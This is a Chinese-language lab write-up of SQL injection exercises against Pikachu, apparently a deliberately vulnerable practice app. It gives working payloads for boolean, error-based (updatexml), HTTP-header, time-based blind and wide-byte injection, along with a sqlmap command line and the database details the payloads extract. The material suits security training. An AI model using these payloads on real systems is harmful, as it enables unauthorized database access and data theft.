pikachu pikachu => 备份地址
SQL-Inject 概述 SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台进行处理时,未对数据做严格的判断,导致传入的恶意内容拼接
到SQL语句中,被当做SQL语句的一部分执行,从而导致数据库受损。
数字型注入(post)
字符型注入(get)
手动注入
使用burpsuite抓到包后,在请求参数后添加boolean为真的语句。观察是否检索结果有不同。
值得注意的是,由于GET参数拼接在URL中,因此最好将注入的内容进行URL编码。
1 2 3 /pikachu/vul/sqli/sqli_str.php?name=vience'or+true%23&submit=%E6%9F%A5%E8%AF%A2
sqlmap
使用burpsuite抓包后将请求信息保存至文件,由sqlmap进行对name进行注入。
1 sqlmap -r charsequence.txt --level=5 --risk=3 -p name --dbs --batch
搜索型注入
xx型注入
insert/update注入可以应用报错注入。获得关心的信息。
此次利用了updatexml(xml_document, XPath, new_Value)函数中,XPath中不可包含~字符,因此使用0x7e时,一定会报错。
当程序开启了报错打印后,报错信息就会显示在页面上。
1 2 3 4 username=name' or updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir), 0)or' &password=123&sex=&phonenum=&email=&add=&submit=submit
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'。
delete注入与insert/update注入 相同,使用报错注入。
构造对应URL。
1 2 3 4 5 /pikachu/vul/sqli/sqli_del.php?id =updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,%40%40datadir),0)%23
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'。
尝试对HTTP头进行修改后发包,发现会有SQL报错,因此对HTTP头的属性进行注入。
此次对User-Agent进行注入。
1 User-Agent: 'or updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),0)or'
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'。
盲注(base on boolean)
盲注(base on time)
手动注入
针对name注入,基于时间盲注,查看页面响应时间。
1 2 # 检索时等待5s /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+sleep(5)%23&submit=%E6%9F%A5%E8%AF%A2
基于时间的盲注一般与if分支结合。
if(condition, case1, case2)意为:
1 2 3 4 5 if condition case1 else case2 endif
当数据库的名称首字母为a时,页面等待5s,否则正常。
数据库的名字为pikachu,与a不相等,因此正常响应。
1 2 # if(substr(database(),1,1)='a',sleep(5),null) /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+if(substr(database(),1,1)%3d'a',sleep(5),null)%23&submit=%E6%9F%A5%E8%AF%A2
当数据库的名称首字母为p时,页面等待5s,否则正常。
此次响应等待了5s,因此可以判断数据库的名字的首字母为p。
1 2 # if(substr(database(),1,1)='p',sleep(5),null) /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+if(substr(database(),1,1)%3d'p',sleep(5),null)%23&submit=%E6%9F%A5%E8%AF%A2
宽字节注入
手动注入
针对name注入。
1 2 # 单引号前增加`%df` name=hello%df%27or+true%23&submit=%E6%9F%A5%E8%AF%A2